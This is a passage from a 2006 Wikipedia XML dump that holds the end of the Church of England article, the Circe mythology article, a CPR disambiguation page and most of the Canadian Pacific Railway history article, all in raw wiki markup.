* [[UK topics]]
* [[List of Church of England bishops]]
* [[Greater Churches Group]]
* [[United Reformed Church]]
* [[John Wesley]]
* [[Appointment of Church of England bishops]]
* [[Episcopal Church in the United States of America]]

==External links==
*[http://www.cofe.anglican.org/ Church of England website]


{| class=&quot;toccolours&quot; style=&quot;margin:0 auto; width:63em; clear:both;&quot;
!colspan=&quot;3&quot; style=&quot;background:#ccf; text-align:center;&quot;|[[Diocese]]s in the [[Province of Canterbury]]
|-
| style=&quot;padding:0 5% 0 5%; text-align:center;&quot;|
[[Diocese of Bath and Wells|Bath &amp; Wells]] | 
[[Anglican Diocese of Birmingham|Birmingham]] | 
[[Diocese of Bristol|Bristol]] | 
[[Diocese of Canterbury|Canterbury]] | 
[[Diocese of Chelmsford|Chelmsford]] | 
[[Diocese of Chichester|Chichester]] | 
[[Diocese of Coventry|Coventry]] | 
[[Diocese of Derby|Derby]] | 
[[Diocese of Ely|Ely]] | 
[[Diocese of Exeter|Exeter]] | 
[[Diocese of Gibraltar in Europe|Gibraltar in Europe]] | 
[[Diocese of Gloucester|Gloucester]] | 
[[Diocese of Guildford|Guildford ]] | 
[[Diocese of Hereford|Hereford]] | 
[[Diocese of Leicester|Leicester]] | 
[[Diocese of Lichfield|Lichfield]] | 
[[Diocese of Lincoln|Lincoln]] | 
[[Diocese of London|London]] | 
[[Anglican Diocese of Norwich|Norwich]] | 
[[Diocese of Oxford|Oxford]] | 
[[Diocese of Peterborough|Peterborough]] | 
[[Diocese of Portsmouth|Portsmouth]] | 
[[Diocese of Rochester|Rochester]] | 
[[Diocese of Saint Albans|Saint Albans]] | 
[[Diocese of Saint Edmundsbury and Ipswich|Saint Edmundsbury and Ipswich]] | 
[[Diocese of Salisbury|Salisbury]] | 
[[Anglican Diocese of Southwark|Southwark]] | 
[[Diocese of Truro|Truro]] | 
[[Diocese of Winchester|Winchester]] | 
[[Anglican Diocese of Worcester|Worcester]]
|-
!colspan=&quot;3&quot; style=&quot;background:#ccf; text-align:center;&quot;|[[Diocese]]s in the [[Province of York]]
|-
| style=&quot;padding:0 5% 0 5%; text-align:center;&quot;|
[[Diocese of Blackburn|Blackburn]] | 
[[Diocese of Bradford|Bradford]] | 
[[Diocese of Carlisle|Carlisle]] | 
[[Diocese of Chester|Chester]] | 
[[Diocese of Durham|Durham]] | 
[[Anglican Diocese of Liverpool|Liverpool]] | 
[[Anglican Diocese of Manchester|Manchester]] | 
[[Diocese of Newcastle|Newcastle]] | 
[[Diocese of Ripon and Leeds|Ripon&amp;nbsp;and&amp;nbsp;Leeds]] | 
[[Diocese of Sheffield|Sheffield]] | 
[[Diocese of Sodor and Man|Sodor and Man]] | 
[[Diocese of Southwell and Nottingham|Southwell and Nottingham]] | 
[[Diocese of Wakefield|Wakefield]] | 
[[Diocese of York|York]]
|}


{{Template:Anglican_Churches}}

[[Category:Church of England| ]]

[[bg:&amp;#1040;&amp;#1085;&amp;#1075;&amp;#1083;&amp;#1080;&amp;#1082;&amp;#1072;&amp;#1085;&amp;#1089;&amp;#1082;&amp;#1072; &amp;#1094;&amp;#1098;&amp;#1088;&amp;#1082;&amp;#1074;&amp;#1072;]]
[[cs:Anglikánská církev]]
[[cy:Eglwys Loegr]]
[[da:Anglikanske kirke]]
[[de:Church of England]]
[[eo:Eklezio de Anglio]]
[[he:הכנסייה האנגליקנית]]
[[ja:&amp;#12452;&amp;#12462;&amp;#12522;&amp;#12473;&amp;#22269;&amp;#25945;&amp;#20250;]]
[[it:Chiesa Anglicana]]
[[kw:Eglos Pow Sows]]
[[nl:Anglicaanse Kerk]]
[[no:Den engelske kirke]]
[[pt:Igreja Anglicana]]
[[sv:Anglikanska kyrkan]]
[[vi:Giáo h&amp;#7897;i Anh]]</text>
    </revision>
  </page>
  <page>
    <title>Circe</title>
    <id>5956</id>
    <revision>
      <id>41697830</id>
      <timestamp>2006-03-01T03:16:25Z</timestamp>
      <contributor>
        <ip>68.118.126.200</ip>
      </contributor>
      <text xml:space="preserve">:''This article is about the sorceress. Circe is also a [[chess variant]]; see [[Circe chess]].''

----
[[Image:Circe - Edward Burne-Jones - Project Gutenberg eText 13725.jpg|thumbnail|right|250px|'''Circe''', a painting by [[Edward Burne-Jones]].]]
In [[Greek mythology]], '''Circe''' or '''Kirkê''' (Greek '''Κίρκη''') was a [[sorceress]] living on the [[island]] of [[Aeaea]].

Circe's father was [[Helios]], the pre-Olympic [[Titan (mythology)|titan]] of the [[Sun]], and her mother was [[Perse]], an [[Oceanid]]; she was sister of [[Aeetes]], the king of [[Colchis]] and of [[Pasiphae]] and [[Aegea|Aga]]. She [[transmogrification|transformed]] her enemies, or those who offended her, into animals through the use of magical potions. She was renowned for her knowledge of drugs and herbs.

In [[Homer]]'s ''[[Odyssey]]'', her home is described as a stone mansion standing in the middle of a clearing in a dense wood. Around the house prowled [[panthera leo|lions]] and [[wolf|wolves]], the drugged victims of her magic; they were not dangerous, and fawned on all newcomers. Circe worked at a huge loom. She invited [[Odysseus]]' crew to a feast, the food laced with one of her magical potions, and she turned them all into [[pig]]s with a wand after they gorged themselves on it. Only [[Eurylochus]], suspecting treachery from the outset, escaped to warn Odysseus and the others who had stayed behind at the ships. Odysseus set out to rescue his men, but was intercepted by [[Hermes]] and told to procure some of the herb [[moly]] to protect him from the same fate. When her magic failed he was able to force her to return his men to human form. She later fell in love with Odysseus and assisted him in his quest to reach his home after he and his crew spent a year with her on her island. Odysseus and Circe [[sexual intercourse|made love]] in her &quot;flawless bed of love&quot; as well.

[[Image:Circe Offering the Cup to Odysseus.jpg|thumbnail|left|300px|'''Circe Offering the Cup to Odysseus''', by [[John William Waterhouse]].]]
According to Homer, she suggested to Odysseus two alternative routes to return to Ithaca: either toward the &quot;Wandering Rocks&quot; (the pumiceous Lipari Islands; in the 13th-century Chinese travel notes of [[Chou Ju-kua]] they are called similarly), where King Aeolus reigned. Or, to pass between the dangerous [[Scylla]] and the whirlpool Charybdis, conventionally identified with the [[Strait of Messina]].

Almost at the end of [[Hesiod]]'s ''[[Theogony]]'' (1011f)  we find that Circe bore of Odysseus three sons: Agrius (otherwise unknown), [[Latinus]], and [[Telegonus]] who ruled over the Tyrsenoi, that is the [[Etruscans]].

Later poets generally only speak of Telegonus as Odysseus' son by Circe. When grown to manhood, later poets reported, she sent him to find Odysseus, who had long since returned to his home on [[Ithaca]], but on arrival Telegonus accidentally killed his father. He brought the body back to Aeaea and took Odysseus' widow [[Penelope]] and son [[Telemachus]] with him. Circe made them immortal and married Telemachus, while Telegonus made Penelope his wife.

[[Dionysius of Halicarnassus]] (1.72.5) cites Xenagoras the historian as claiming that Odysseus and Circe had three sons: Romus, Anteias, and Ardeias who respectively founded three cities called by their names: [[Rome]], [[Antium]], and [[Ardea (city)|Ardea]].

That Circe also purified the [[Argonauts]] for the death of [[Apsyrtus]] may be early tradition.

In later tales Circe turned [[Picus]] into a [[woodpecker]] for refusing her love, and Scylla into a monstrous creature with six dogs' heads when [[Glaucus]] (another object of Circe's affection) declared his undying love for her. She had one daughter: [[Aega (mythology)|Aega]].

== Modern interpretations ==
In the ''[[Wonder Woman]]'' comics, [[Circe (comics)|Circe]] is often portrayed as an antagonist of Wonder Woman and the [[Amazons]]. The [[Marvel Comics]] character [[Sersi]] is also based on the mythological Circe.

This character also starred in the episode ''This Little Piggy'' of ''[[Justice League Unlimited]]'' and turned Wonder Woman into a pig.

==External links==
{{Commonscat|Circe|Circé}}
*[http://www.geocities.com/medea19777/circe.html Tales of Circe]

[[Category:Greek mythology]]
[[Category:Shapeshifting]]
[[Category:Characters in the Odyssey]]

[[bg:Кирка (митология)]]
[[da:Kirke (græsk mytologi)]]
[[de:Kirke]]
[[es:Circe]]
[[fr:Circé]]
[[it:Circe]]
[[he:קירקה]]
[[lt:Kirkė]]
[[hu:Kirké]]
[[nl:Circe]]
[[ja:キルケ]]
[[no:Kirke (gresk mytologi)]]
[[pl:Kirke (mitologia)]]
[[pt:Circe]]
[[ru:Цирцея]]
[[fi:Kirke]]
[[sv:Kirke]]</text>
    </revision>
  </page>
  <page>
    <title>CPR (disambiguation)</title>
    <id>5958</id>
    <revision>
      <id>36536774</id>
      <timestamp>2006-01-24T19:53:42Z</timestamp>
      <contributor>
        <username>Curps</username>
        <id>44727</id>
      </contributor>
      <comment>unverified</comment>
      <text xml:space="preserve">'''CPR''' is an [[acronym]] standing for:

* [[American Bar Association Model Code of Professional Responsibility]]
* [[Automatic number plate recognition|Car Plate Recognition]]
* [[Cardiopulmonary resuscitation]]
* [[Canadian Pacific Railway]]
* [[Central Pacific Railroad]]
* [[Community Patent|Community patent regulation]]
* [[Det Centrale Personregister]] (Danish Central Office of Civil Registration)
* [[Common Pool Resource]]

{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Canadian Pacific Railway</title>
    <id>5959</id>
    <revision>
      <id>42147328</id>
      <timestamp>2006-03-04T03:16:48Z</timestamp>
      <contributor>
        <username>Indefatigable</username>
        <id>20612</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">{{Infobox SG rail|
railroad_name=Canadian Pacific Railway|
logo_filename=1997CPRbeaver.png|
logo_size=|
old_gauge=|
marks=CP, CPAA, CPI|
locale=[[Canada]] with branches to [[United States|US]] cities [[Chicago, Illinois|Chicago]], [[Minneapolis]] and [[New York City]]|
start_year=1881|
end_year=present|
hq_city=[[Calgary, Alberta]]
}}

The '''Canadian Pacific Railway''' ('''CPR'''; [[Association of American Railroads|AAR]] [[reporting mark]]s '''CP''', '''CPAA''', '''CPI'''), known as '''CP Rail'''  between 1968 and 1996, is a [[Canada|Canadian]] [[Class I railroad|Class I railway]] operated by [[Canadian Pacific Railway Limited]].  Its rail network stretches from [[Vancouver]] to [[Montreal]], and also serves major cities in the [[United States]] such as [[Minneapolis, Minnesota|Minneapolis]], [[Chicago, Illinois|Chicago]], and [[New York City]].  Its headquarters are in [[Calgary, Alberta]].

The [[rail transport|railway]] was originally built between eastern Canada and [[British Columbia]] between 1881 and 1885, fulfilling a promise extended to British Columbia when it entered [[Canadian Confederation|Confederation]] in 1871.  It was Canada's first [[transcontinental railroad|transcontinental railway]].  Now primarily a [[freight]] railway, the CPR was for many decades the only practical means of long distance [[passenger train|passenger]] [[transport]] in many regions of Canada, and was instrumental in the [[colonization|settlement]] and [[economic development|development]] of [[Western Canada]].  Its primary passenger services were eliminated in 1978 after being assumed by [[VIA Rail|VIA Rail Canada]].  A [[beaver]] was chosen as the railway's logo because it is one of the national symbols of Canada and represents the hardworking character of the company.  The object of both praise and damnation for over 120 years, the CPR remains an indisputable icon of Canadian [[nationalism]].

[[Image:CanadianPacificRailwayNetworkMap.png|thumb|290px|right|Current network Map of the Canadian Pacific Railway]]
[[Image:Eastbound over SCB.jpg|thumb|290px|right|An eastbound CPR freight at Stoney Creek Bridge.  Photo by David R. Spencer]] &lt;!-- NOTE: David has requested as a courtesy that we display his attribution here, please respect this even though it is not the usual practice --&gt;

==History==
===Before the Canadian Pacific Railway, 1871-1881===
Creation of the Canadian Pacific Railway was a task originally undertaken for a combination of reasons by the [[Conservative Party of Canada (historical)|Conservative]] government of [[Prime Minister of Canada|prime minister]] [[John A. Macdonald|Sir John A. Macdonald]].  [[British Columbia]] had insisted upon a national railway as a condition for joining the [[Canadian Confederation|Confederation]] of [[Canada]]. The government thus promised to build a railway linking the [[Pacific Ocean|Pacific]] [[Canadian province|province]] to the eastern provinces within ten years of [[July 20]], [[1871]].  Macdonald also saw it as essential to the creation of a unified Canadian nation that would stretch across the continent.  Moreover, [[manufacturing]] interests in [[Quebec]] and [[Ontario]] desired access to sources of [[raw material]]s and [[market]]s in [[Western Canada|Canada's west]].
[[Image:JohnAM.jpg|thumb|150px|right|Sir John A. Macdonald]]
The first obstacle to its construction was economic.  The logical route for a railway serving Western Canada would be to go through the American [[Midwest]] and the city of [[Chicago, Illinois]].  In addition to the obvious difficulty of building a railroad through the [[Canadian Rockies]], an entirely Canadian route would require crossing 1,600 [[kilometre|km]] (1,000 [[mile]]s) of rugged terrain corresponding to the barren [[Canadian Shield]] and [[muskeg]] of [[Northern Ontario]].  To ensure this routing, the government offered huge incentives including vast grants of land in Western Canada.

In 1872, Sir John A. Macdonald and other high-ranking politicians, swayed by bribes in the so-called [[Pacific Scandal]], granted federal contracts to [[Hugh Allan]]'s &quot;Canada Pacific Railway Company&quot; (which was unrelated to the current company) and to the Inter-Ocean Railway Company.  Because of this scandal, the Conservative party was removed from office in 1873. The new [[Liberal Party of Canada|Liberal]] prime minister, [[Alexander Mackenzie]], began construction of segments of the railway as a public enterprise under the supervision of the Department of Public Works. The [[Thunder Bay District, Ontario|Thunder Bay]] branch linking [[Lake Superior]] to [[Winnipeg, Manitoba|Winnipeg]] was commenced in 1875. Progress was discouragingly slow because of the lack of public money. With the return to power in [[October 16]], [[1878]] of Sir John A. Macdonald, a more aggressive construction policy was adopted.  Macdonald confirmed that [[Port Moody, British Columbia|Port Moody]] would be the terminus of the transcontinental railway, and announced that the railway would follow the [[Fraser River|Fraser]] and [[Thompson River|Thompson]] rivers between Port Moody and [[Kamloops, British Columbia|Kamloops]].  In 1879, the federal government called for tenders to construct the 206 km (128 mile) section of the railway from [[Yale, British Columbia]] to [[Savona's Ferry, British Columbia|Savona's Ferry]] on [[Kamloops Lake]].  The contract was awarded to [[Andrew Onderdonk]], whose men started work on [[May 15]], [[1880]].  After the completion of that section, Onderdonk received contracts to build between Yale and Port Moody, and between Savona's Ferry and [[Eagle Pass]].

On [[October 21]], [[1880]], a new syndicate, unrelated to Hugh Allan's, signed a contract with the Macdonald government.  They agreed to build the railway in exchange for [[Canadian dollar|$]]25,000,000 (approximately $625,000,000 in modern Canadian dollars) in credit from the Canadian government and a grant of 25,000,000 [[acre]]s (101,000 km², around 10,000,000 [[hectare]]s) of land.  The government transferred to the new company those sections of the railway it had constructed under government ownership.  The government also defrayed surveying costs and exempted the railway from property taxes for 20 years.  The syndicate officially comprised five men:  [[George Stephen, 1st Baron Mount Stephen|George Stephen]], [[James J. Hill]], [[Duncan McIntyre]], [[Richard B. Angus]], and [[John S. Kennedy]].  [[Donald Alexander Smith|Donald A. Smith]] and [[Norman Kittson]] were unofficial silent partners with a significant financial interest.  On [[February 15]], [[1881]], legislation confirming the contract received [[royal assent]], and the [[Canadian Pacific Limited|Canadian Pacific Railway Company]] was formally [[Incorporation (business)|incorporated]] the next day.

===Building the railway, 1881-1885===
It was assumed that the railway would travel though the rich &quot;Fertile Belt&quot; of the [[North Saskatchewan River]] valley and cross the [[Rocky Mountains]] via the [[Yellowhead Pass]], a route advocated by [[Sir Sandford Fleming]] based on a decade of work.  However, the CPR quickly discarded this plan in favour of a more southerly route across the arid [[Palliser's Triangle]] in [[Saskatchewan]] and through [[Kicking Horse Pass]] over the [[Field Hill]].  This route was more direct and closer to the American border, making it easier for the CPR to keep American railways from encroaching on the Canadian market.  However, this route also had several disadvantages.

One consequence was that the CPR would need to find a route through the [[Selkirk Mountains]], as at the time it was not known whether a route even existed.  The job of finding a pass was assigned to a [[surveyor]] named [[Major]] [[Albert Bowman Rogers]].  The CPR promised him a [[cheque]] for $5,000 and that the pass would be named in his honour.  Rogers became obsessed with finding the pass that would immortalize his name.  He found the pass on [[May 29]], [[1881]], and true to its word, the CPR named the pass &quot;[[Rogers Pass]]&quot; and gave him the cheque.  This however, he at first refused to cash, preferring to frame it, and saying he did not do it for the money.  He later agreed to cash it with the promise of an engraved watch.

Another obstacle was that the proposed route crossed land controlled by the [[Blackfoot]] [[First Nation]].  This difficulty was overcome when the [[missionary]] [[Priest|Father]] [[Albert Lacombe]] persuaded the Blackfoot chief [[Crowfoot]] that construction of the railway was inevitable.  In return for his assent, Crowfoot was famously rewarded with a lifetime pass to ride the CPR.  A more lasting consequence of the choice of route was that, unlike the one proposed by Fleming, the land surrounding the railway often proved too arid for successful [[agriculture]].  The CPR may have placed too much reliance on a report from [[natural history|naturalist]] [[John Macoun]], who had crossed the [[prairie]]s at a time of very high rainfall and had reported that the area was fertile.  

The greatest disadvantage of the route was in Kicking Horse Pass.  In the first six km (4 miles) west of the 1,625 metre (5,330 ft) high summit, the [[Kicking Horse River]] dropped 350 metres (1,150 ft).  The steep drop would force the cash-strapped CPR to build a seven km (4.5 mile) long stretch of track with a very steep 4.5% gradient once it reached the pass in 1884. This was over four times the maximum gradient recommended for railways of this era, and even modern railways rarely exceed a 2% gradient.  This section of track was the CPR's legendary [[Big Hill]].  Safety switches were installed at several points, the speed limit for descending trains was set at 10 km per hour (six mph), and special [[locomotive]]s were ordered.  Despite these measures, several serious runaways still occurred.  CPR officials insisted that this was a temporary expediency, but this state of affairs would last for 25 years until the completion of the [[Spiral Tunnels]] in the early 20th century.

[[Image:William Cornelius Van Horne.jpg|thumb|150px|right|Sir William Cornelius Van Horne]]

In 1881 construction progressed at too slow a pace for the railway's officials, who in 1882 hired the renowned railway executive [[William Cornelius Van Horne]], who was recruited to oversee construction with the inducement of a generous salary and the intriguing challenge of handling such a difficult railway project.  Van Horne stated that he would have 800 km (500 miles) of main line built in 1882.  [[Flood]]s delayed the start of the construction season, but over 672 km (417 miles) of main line, as well as various sidings and branch lines, were built that year. The Thunder Bay branch was completed in June 1882 by the Department of Railways and Canals and turned over to the company in May 1883, permitting all-Canadian lake and rail traffic from eastern Canada to [[Winnipeg, Manitoba|Winnipeg]] for the first time in Canada's history. By the end of 1883, the railway had reached the Rocky Mountains, just eight km (5 miles) east of Kicking Horse Pass.  The construction seasons of 1884 and 1885 would be spent in the mountains of British Columbia and on the north shore of [[Lake Superior]].

Many thousands of [[navvy|navvies]] worked on the railway.  Many were [[Europe]]an immigrants.  In British Columbia, the CPR also hired workers from [[China]], nicknamed [[coolies]].  A navvy received between $1 and $2.50 per day, but had to pay for his own food, clothing, transportation to the job site, mail, and medical care.  After two and a half months of back-breaking labour, they could net as little as $16.  Chinese navvies in British Columbia made only between $0.75 and $1.25 a day, not including expenses, leaving barely anything to send home.  They did the most dangerous construction jobs, such as working with [[explosive material|explosives]].  The families of the Chinese who were killed received no compensation, or even notification of loss of life.  Many of the men who lived did not have enough money to return to their families in China, and many spent years in lonely, sad and often poor condition. But those navvies were hard working and played a key role in building the western stretch of the railway; even some boys as young as 12 years old served as tea-boys.

By 1883, railway construction was progressing rapidly, but the CPR was in danger of running out of money.  In response, on [[January 31]], [[1884]], the government passed the Railway Relief Bill, providing a further $22,500,000 in loans to the CPR.  The bill received royal assent on [[March 6]], [[1884]].

[[Image:LastSpike Craigellachie BC Canada.jpg|thumb|300px|left|[[Donald Alexander Smith, 1st Baron Strathcona and Mount Royal|Donald Alexander Smith]] drives the Last Spike]]

In March 1885, the [[North-West Rebellion]] broke out in Saskatchewan. Van Horne, in [[Ottawa, Ontario|Ottawa]] at the time, suggested to the government that the CPR could transport troops to [[Fort Qu'Appelle, Saskatchewan|Fort Qu'Appelle]] in 11 days.  Some sections of track were incomplete or had not been used before, but the trip to Winnipeg was made in nine days and the rebellion was quickly put down.  Perhaps because the government was grateful for this service, they subsequently re-organized the CPR's debt to the government and provided a further $5,000,000 loan, money desperately needed by the CPR.  On [[November 7]], [[1885]] the Last Spike was driven at [[Craigellachie, British Columbia]], making good on the original promise.  While the railway was completed four years after the original 1881 deadline, it was completed over five years ahead of the new date of 1891 that Macdonald gave in 1881.
 
The successful construction of such a massive project, although troubled by delays and scandal, was considered an impressive feat of engineering and political will for a country with a small population, limited capital, and difficult terrain.  It was by far the longest railway ever constructed at the time.

Meanwhile, in Eastern Canada, the CPR had created a network of lines reaching from Quebec City to [[St. Thomas, Ontario]] by 1885.  The CPR had effected purchases and long-term [[leasing|leases]] of several railways through an associated railway company, the [[Ontario and Quebec Railway]] (O&amp;Q), who also built a line between [[Perth, Ontario]] and [[Toronto]] (completed on [[May 5]], [[1884]]) to connect these acquisitions.  The CPR obtained a 999-year lease on the O&amp;Q on [[January 4]], [[1884]].

===1886-1900===
So many cost-cutting shortcuts were taken in constructing the railway that regular transcontinental service could not start for another seven months while work was done to improve the railway's condition.  However, had these shortcuts not been taken, it is conceivable that the CPR might have had to default financially, leaving the railway unfinished.  The first transcontinental train arrived at Port Moody on [[July 4]], [[1886]].  By that time, however, the CPR had decided to move its western terminus from Port Moody to a hamlet that was renamed &quot;Vancouver&quot; later that year.  The first official train to Vancouver arrived on [[May 23]], [[1887]], although the line had been in use for three months before that.  The CPR quickly became profitable, and all loans from the Federal government were repaid years ahead of time.

In 1888, a branch line was opened between [[Sudbury, Ontario|Sudbury]] and [[Sault Ste. Marie, Ontario|Sault Ste. Marie]] where the CPR connected with the American railway system and its own [[steamship]]s.  That same year, work was started on a line from [[London, Ontario]] to the American border at [[Windsor, Ontario]].  That line opened on [[June 12]], [[1890]].  The CPR also acquired several small lines east of Montreal; it also leased the [[New Brunswick Railway]] for 999 years, and built the [[International Railway of Maine]], connecting Montreal with [[Saint John, New Brunswick]] in 1889.  The connection with Saint John on the Atlantic coast made the CPR the first truly transcontinental railway company and permitted trans-Atlantic cargo and passenger services to continue year-round when [[sea ice]] in the [[Gulf of St. Lawrence]] closed the port of Montreal during the winter months.

By 1896, competition with the [[Great Northern Railway (US)|Great Northern Railway]] for traffic in southern British Columbia forced the CPR to construct a second line across the province, south of the original line.  Van Horne, now [[president]] of the CPR, asked for government aid, and the government agreed to provide around $3.6 million to construct a railway from [[Lethbridge, Alberta]] through [[Crowsnest Pass]] to the south shore of [[Kootenay Lake]], in exchange for the CPR agreeing to reduce freight rates in perpetuity for key commodities shipped in Western Canada.  The controversial Crowsnest Pass Agreement effectively locked the eastbound rate on [[cereal|grain]] products and westbound rates on certain &quot;settlers' effects&quot; at the 1897 level. Although temporarily suspended during [[World War I]], it was not until 1983 that the &quot;Crow Rate&quot; was permanently replaced by the Western Grain Transportation Act which allowed for the gradual increase of grain shipping prices.  The Crowsnest Pass line opened on [[June 18]], [[1899]].

===1901-1928===
During the first decade of the twentieth century, the CPR continued to build more lines.  In 1908 the CPR opened a line connecting [[Toronto]] with [[Sudbury, Ontario|Sudbury]].  Previously, westbound traffic originating in [[Southern Ontario]] took a circuitous route through [[Eastern Ontario]].

Several operational improvements were also made to the railway in [[Western Canada]].  In 1909 the CPR completed two significant [[engineering]] accomplishments.  The most significant was the replacement of the Big Hill, which had become a major bottleneck in the CPR's main line,  with the [[Spiral Tunnels]], reducing the grade to 2.2% from 4.5%.  The Spiral Tunnels opened in August.  On [[November 3]], [[1909]], the [[Lethbridge Viaduct]] over the [[Oldman River]] valley at [[Lethbridge, Alberta]] was opened.  It is 1,624 metres (5,327 ft) long and, at its maximum, 96 metres (314 ft) high, making it the longest railway bridge in Canada.  In 1916 the CPR replaced its line through [[Rogers Pass]], which was prone to [[avalanche]]s, with the [[Connaught Tunnel]], an eight km (5 mile) long tunnel under [[Mount Macdonald]] that was, at the time of its opening, the longest railway tunnel in the [[Western hemisphere]].

The CPR acquired several smaller railways via long-term leases in 1912.  On [[January 3]], [[1912]], the CPR acquired the [[Dominion Atlantic Railway]], a railway that ran in western [[Nova Scotia]].  This acquisition gave the CPR a connection to [[Halifax Regional Municipality, Nova Scotia|Halifax]], a significant port on the [[Atlantic Ocean]].  The Dominion Atlantic connected to the CPR at [[Saint John, New Brunswick|Saint John]] with its own [[train ferry|car ferry]] service across the [[Bay of Fundy]].  DAR steamships also provided connections for passengers and cargo between [[Yarmouth, Nova Scotia|Yarmouth]], [[Boston, Massachusetts|Boston]] and [[New York, New York|New York]].  On [[July 1]], [[1912]], the CPR acquired the [[E and N Railway|Esquimalt and Nanaimo Railway]], a railway on [[Vancouver Island]] that also connected to the CPR by car ferry.  The CPR also acquired the [[Quebec Central Railway]] on [[December 14]], [[1912]].

When [[World War I]] broke out in 1914, the CPR devoted resources to the war effort, and managed to stay profitable while its competitors struggled to remain solvent.  After the war, the Federal government created [[Canadian National Railway]]s (CNR, later CN) out of several bankrupt railways that fell into government hands during and after the war.  CNR would become the main competitor to the CPR in Canada.

===The Great Depression and World War II, 1929-1945===
The [[Great Depression]], which lasted from 1929 until 1939, hit many companies heavily.  While the CPR was affected, it was not affected to the same extent that its rival CNR because it, unlike the CNR, was debt-free.  The CPR scaled back on some of its passenger and freight services, and stopped issuing dividends to its shareholders after 1932.

One highlight of the 1930s, both for the railway and for Canada, was the visit of [[George VI of the United Kingdom|King George VI]] and [[Elizabeth Bowes-Lyon|Queen Elizabeth]] to Canada in 1939, the first time that the reigning monarch had visited the country.  The CPR and the CNR shared the honours of pulling the royal train across the country, with the CPR undertaking the westbound journey from Quebec City to Vancouver.

Later that year, [[World War II]] would begin.  As it had done in [[World War I]], the CPR devoted much of its resources to the war effort.  It retooled its [[Angus Shops]] in [[Montreal]] to produce [[Valentine tank]]s, and transported troops and resources across the country.  As well, 22 of the CPR's ships went to war, 12 of which were sunk.

===1946-1978===

After World War II, the transportation industry in [[Canada]] changed.  Where railways had previously provided almost universal freight and passenger services, [[automobile|car]]s, [[truck]]s, and [[airplane]]s started to take traffic away from railways.  This naturally helped the CPR's air and trucking operations, and the railway's freight operations continued to thrive hauling resource traffic and bulk commodities.  However, passenger trains quickly became unprofitable.

During the 1950s, the railway introduced new innovations in passenger service, and in 1955 introduced ''[[The Canadian]]'', a new luxury transcontinental train.  However, starting in the 1960s the company started to pull out of passenger services, ending services on many of its branch lines.  It also discontinued its transcontinental train ''[[The Dominion]]'' in 1966, and in 1970 unsuccessfully applied to discontinue ''The Canadian''.  On [[October 29]], [[1978]], CP Rail transferred its passenger services to [[VIA Rail]], a new federal [[Crown corporation]] that would be responsible for managing all intercity passenger service formerly handled by both CP Rail and CN.
[[Image:CP-Rail-logo.png|thumb|170px|right|The CP Rail logo (1968-1996)]]

In 1968, as part of a corporate re-organization, each of the CPR's major operations, including its rail operations, were organized as separate subsidiaries.  The name of the railway was changed to CP Rail, and the parent company changed its name to [[Canadian Pacific Limited]] in 1971.  The company discarded its beaver logo, adopting the new [[Multimark]] logo that could be used for each of its operations.

===1979-present===
In 1984 CP Rail commenced construction of the [[Mount Macdonald Tunnel]] to augment the [[Connaught Tunnel]] under the [[Selkirk Mountains]].  The first revenue train passed through the tunnel in 1988.  At 14.7 km (9 miles), it is the longest tunnel in the [[The Americas|Americas]].
[[Image:EMD SD60 SOO 6022.jpg|thumb|300px|[[Soo Line]] 6022, an [[General Motors Electro-Motive Division|EMD]] [[EMD SD60|SD 60]], pulls a train through [[Wisconsin Dells, WI]], [[June 20]] [[2004]].]]
During the 1980s, the [[Soo Line]], in which CP Rail still owned a controlling interest, underwent several changes.  It acquired the [[Minneapolis, Northfield and Southern Railway]] in 1982.  Then on [[February 21]], [[1985]], the Soo Line obtained a controlling interest in the [[Milwaukee Road]], merging it into its system on [[January 1]], [[1986]].  In 1987 most of CPR's trackage in the [[Great Lakes]] region, including much of the original Soo Line, were spun off into a new railway, the [[Wisconsin Central]], which was subsequently purchased by [[Canadian National Railway|CN]]. Influenced by the [[Canada-U.S. Free Trade Agreement]] of 1989 which liberalized [[trade]] between the two nations, the CPR's expansion continued during the early 1990s: CP Rail gained full control of the Soo Line in 1990, and bought the [[Delaware and Hudson Railroad]] in 1991.  These two acquisitions gave CP Rail routes to the major American cities of Chicago (via the Soo Line) and New York City (via the D&amp;H).  

During the next few years CP Rail downsized its route, and several Canadian [[branch line]]s, including all of its lines east of [[Montreal]] (including the entire line to the port of Saint John), were either sold to [[short line railroad|short line]]s or abandoned. Both CP Rail and CN attempted unsuccessfully to buy out the eastern assets of the other, so as to permit further rationalization. 

Finally, in 1996, reflecting the increased importance of western traffic to the railway, CP Rail moved its head office to [[Calgary]] from [[Montreal]] and changed its name back to Canadian Pacific Railway.  A new [[subsidiary]] company, the [[St. Lawrence and Hudson Railway]], was created to operate its money-losing lines in eastern [[North America]], covering [[Quebec]], Southern and [[Eastern Ontario]], trackage rights to [[Chicago, Illinois]], as well as the [[Delaware and Hudson Railway]] in the [[U.S. Northeast]]. However, the new subsidiary, threatened with being sold off and free to innovate, quickly spun off losing track to short lines, instituted scheduled freight service, and produced an unexpected turn-around in profitability. After only four years, CPR revised its opinion and the StL&amp;H formally reamalgamated with its parent on [[January 1]], [[2001]].

In 2001, the CPR's parent company, [[Canadian Pacific Limited]], spun out its five subsidiaries, including the CPR, into independent companies.

On [[October 31]] [[2005]], CPR announced that [[Fred Green (CP)|Fred Green]] will succeed [[Robert J. Ritchie]] as president of the railroad effective [[November 1]].  Ritchie will continue as CEO of the corporation.

==Freight trains==
[[Image:Carlb-brockville-cptrain.jpg|thumb|right|200px|An old CPR [[caboose]] on display at [[Brockville, Ontario]]]]
Over half of the Canadian Pacific Railway's freight traffic is in [[coal]], grain, and [[intermodal freight transport|intermodal]] freight.  It also ships automotive parts and automobiles, [[sulfur]], [[fertilizer]]s, other [[chemical]]s, forest products, and other types of commodities.  The busiest part of its railway network is along its main line between [[Calgary]] and [[Vancouver]].

Since 1970, coal has become a major commodity hauled by CP Rail.  Coal is shipped in [[unit train]]s from coal mines in the mountains, most notably [[Sparwood, British Columbia]] to terminals at [[Roberts Bank, British Columbia|Roberts Bank]] and [[North Vancouver, British Columbia|North Vancouver]], from where it is then shipped to [[Japan]].  The CPR hauls over 34 million tons of coal to the west coast each year.

Grain is hauled by the CPR from the prairies to ports at [[Thunder Bay, Ontario]] (the former [[Fort William, Ontario|Fort William]]) and [[Vancouver]], where it is then shipped overseas.  Grain has always been a significant commodity hauled by the CPR; between 1905 and 1909, the CPR double-tracked its section of track between [[Fort William]] and [[Winnipeg, Manitoba|Winnipeg]] to facilitate grain shipments.  For several decades this was the only long stretch of double track mainline outside of urban areas on the CPR.

